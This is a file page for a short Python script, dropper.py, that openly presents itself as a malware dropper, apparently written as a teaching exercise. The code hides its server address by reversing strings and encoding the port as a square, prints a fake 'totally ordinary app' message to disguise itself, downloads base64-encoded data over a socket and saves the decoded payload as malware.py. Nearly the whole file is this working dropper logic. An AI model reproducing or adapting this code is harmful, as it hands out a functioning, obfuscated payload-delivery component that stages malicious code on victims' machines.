-
Notifications
You must be signed in to change notification settings - Fork 0
/
dropper.py
91 lines (72 loc) · 2.68 KB
/
dropper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python3
""" Implementation of dropper that downloads malicious code from the server
and dumps it into a file.
"""
import base64
import logging
import socket
import math
class Dropper:
""" This class represents the implementation of dropper.
"""
def __init__(self, host1, host2, number):
# Construct hostname of the remote server from the first two
# arguments.
self._host = self.decode_hostname(host1, host2)
# Calculate the port number from the last argument.
self._port = self.decode_port(number)
# Initialize socket for the connection.
self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@property
def host(self):
""" Server that sends us the malicious code. """
return self._host
@host.setter
def host(self, new_host):
self._host = new_host
def decode_hostname(self, str1, str2):
""" Returns hostname of the remote server. """
return str2[::-1] + str1[::-1]
@property
def port(self):
""" Port, on which the server runs (`int`). """
return self._port
@port.setter
def port(self, new_port):
self._port = new_port
def decode_port(self, port):
"""Returns target port of the remote server. """
return int(math.sqrt(port))
@property
def socket(self):
""" Client socket. """
return self._socket
def dump_data(self, data):
""" Write the retrieved data from the server into the file.
"""
with open('malware.py', 'wb') as file:
file.write(data)
def download_malicious_code(self):
""" Download malicious code from the server. """
# Create a connection to the server.
try:
self.socket.connect((self.host, self.port))
except socket.error:
logging.debug('Dropper could not connect to the server.')
return
# Try to act as an ordinary application.
print(
'Hello, this is a totally ordinary app. '
'I\'m surely not doing anything malicous'
)
# Receive the malicious code in the encrypted form.
command = self.socket.recv(1000)
# Decode the command and dump it into a file.
decode_payload = base64.b64decode(command)
self.dump_data(decode_payload)
if __name__ == '__main__':
logging.basicConfig(level=logging.DEBUG)
# Initialize dropper application.
dropper = Dropper('tsoh', 'lacol', 729000000)
# Collect the malicious code and dump it into the file.
dropper.download_malicious_code()